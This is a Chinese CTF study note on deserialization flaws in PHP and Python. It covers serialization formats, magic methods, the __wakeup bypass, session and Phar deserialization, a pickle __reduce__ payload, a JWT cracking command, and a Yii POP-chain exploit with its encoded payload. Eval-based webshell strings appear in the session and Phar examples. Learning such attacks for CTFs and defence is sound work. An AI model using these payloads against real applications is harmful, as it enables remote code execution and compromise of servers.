[Web/基础/反序列化]反序列化轻量总结

反序列化

序列化和反序列化

序列化是什么?

我们在运行程序时变量是存在于内存当中的,为了保存他们,我们可以将其转化为有确定格式的、可传输、可保存的字符串,这个过程称为序列化。它的反过程就成为反序列化。

在PHP当中,此过程的转化方法是

serialize();			//将一个对象转换成一个字符串 
unserialize();			//将一个字符串转换成一个对象

通用结构如下,

数据类型:属性名长度:"属性名";数据类型:属性值长度:"属性值"
分割符号是;   结束符号是}

序列化格式详解

补充:属性名和值的字符可用十六进制编码进行替换,PHP解析器会自动完成其解析过程。

PHP 在反序列化时,对类中不存在的属性会进行反序列化

反序列化后生成的对象的行为逻辑,要遵循对其进行反序列化的命名空间的内部构造(类、方法、魔术方法),对于不存在的逻辑,是不能进行操作的。因此解题要基于服务器端的脚本包含的类。

魔术方法

__construct()
// 触发条件,构造函数,当构造一个对象时调用。
// 对象创建时销毁

__destruct()
// 触发条件,析构函数,对象销毁时被调用。
// 序列化时会销毁一次,对象销毁时执行

__sleep()
// 在对象被序列化之前运行,序列化输出前运行,但不影响序列化内容

__wakeup()
// 在对象被反序列化之后被调用
// 其功能是为反序列化的对象初始化变量

__unserialize()
// 触发条件,7.4版本以上,反序列化时触发,且可以绕过__wakeup
    
__invoke()
// 当对象被调用时执行
// 函数形式调用对象时,触发的方法
    
__tostring()
// 将一个对象作为字符串操作时自动调用,其返回值即为输出。
    
__call()
// 调用无法调用的函数时,转为调用该方法。
    
__get()
// 当非公有变量、未定义的属性或没有权限访问的属性被访问时该方法会被调用

__set()
// 给私有变量和未定义的属性赋值时调用该方法
// 写法为set($a,$b);,其执行方式为object->$a  = $b; $a是赋值的目标,$b是赋值的来源。 

三种类型的变量的表示方法(public,protected,private)

序列化字符串可区分此三种变量,公有、保护、私有

其中protected、private的形式特殊

%00Huihe%00name	// %00为不可打印字符,private
%00%2A%00age	// %2A 为  * ,protected

一般为了保证他们的正常输出,转为URL编码

urlencode(serialize(new test()))

基本反序列化

破坏__Wakeup失效

反序列化字符串是严格顺序解析的,从其每个变量名和值都要携带相应的长度可以看出,

__wakeup()原理:将在序列化之后立即被调用。
漏洞原理:当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。

用途:当Wakeup方法当中包含的逻辑会影响到我们构造的POC执行的时候,需要对其绕过.

<?php
class xctf{
	public $flag =111;
	public function __wakeup(){
		exit(‘bad requests’);
	}
}

$c = new xctf();
print(serialize($c));
?>
真实的序列化:O:4:”xctf”:1:{s:4:”flag”;s:3:111;}
伪造的序列化:O:4:”xctf”:2:{s:4:”flag”;s:3:111;}

调整属性数后不能成功的构建一个对象,以此绕过exit(),但是会正常调用__destruct()函数。

反序列化写链

写链的观察方法

其他形式反序列化

SESSION反序列化

Session原理

SESSION简单的存储结构和使用机理

// 开启一个新的或者已有的会话
session_start();

// 以默认的方式保存SESSION
ini_set('session.serialize_handler', 'php');
$user=new User();
$_SESSION['user']=$user;
user|O:4:"User":1:{s:1:"a";s:5:"admin";}

// 以序列化方式存储SESSION
ini_set('session.serialize_handler', 'php_serialize');
$user=new User();
$_SESSION['user']=$user;
a:1:{s:4:"user";O:4:"User":1:{s:1:"a";s:5:"admin";}}

会话保存的键值对被保存到了SESSION当中,SESSION文件被随机化的命名,并保存在了PHP服务器的tmp文件夹下(形式为sess_xxxxxxxxxxx),在浏览器的应用和存储中,均可以以COOKIE形式查询到,保存为SESSIONID,键值即为服务器上的SESSION文件名。

其反序列化
|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:28:"<?php @eval($_POST["a"]); ?>";s:6:"status";N;}

字符逃逸

博客上还有文章

原理:反序列化严格顺序解析。

条件:出现过滤匹配、替换。

增加型 和 减少型

Python反序列化

练习:ikun

Pickle反序列化

__reduce__() 		// 类似__wakeup(),在序列化和反序列化时都会执行,但是只能执行一个函数

Pickle的运行机制和PHP不太一样,它可以对不存在的类进行反序列化,它通过序列化字符串储存一些堆栈变量信息和指令,反序列化类似于复原一段内存情况,然后执行。

Python Pickle反序列化漏洞

JWT生成

https://jwt.io/

JWT密钥破解

https://github.com/brendan-rius/c-jwt-cracker

docker run -it --rm  jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

构造序列化

python2.7

#!/usr/bin/python
import pickle
import urllib


class payload(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()",))


a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)

Phar反序列化

[CISCN2019 华北赛区 Day1 Web1]Dropbox

链子

delete.php  =>  file->file_exsist(phar://xxxx.jpg)  =>  User -> __destruct{$this->db->close()}   =>    Filelist->__call(close,xxx) =>   File->close(){file_put_contents($this->filename)}   
什么是Phar文件?

Phar文件,简单说就是php压缩文件,将多个文件归档到同一个文件当中,而且不经过解压就能被PHP访问执行,是一种流包装器,文件包含部分也有涉及。

Phar结构
  • stub
    phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
  • manifest
    压缩文件的属性等信息,以序列化存储;
  • contents
    压缩文件的内容;
  • signature
    签名,放在文件末尾;

根据PHP 8.0 版本上的新特性描述,此方法貌似已经失效了,但目前通用的仍是7以下版本,所以此方法仍可用。

<?php
class Testobj
{
  var $output='';
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub

$o=new Testobj();  				// 构造对象
$o->output='eval($_GET["a"]);';  

$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>
那么思路是什么呢?

利用Phar文件,只要是文件标识正确,且对关键的字符无过滤,我们就可以将包含危险函数的类对象的反序列化字符串上传,且文件后缀不影响其执行,所以可以绕过白名单。

此时一些可以接收Phar流的函数会将其自动解析(phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化),进而执行我们的Payload。

一些受到影响函数,

请添加图片描述

一些限制
  • Phar可传
  • 服务器上有该类,且类内有包含危险函数的魔术方法。
  • 服务器端有具有自动解析PHAR流功能的文件操作函数。
  • 对关键字(PHAR、/、:)无过滤

框架反序列化

命名空间

namespace,变量存储和代码块

看资料积累

Web267 YII

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

hell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值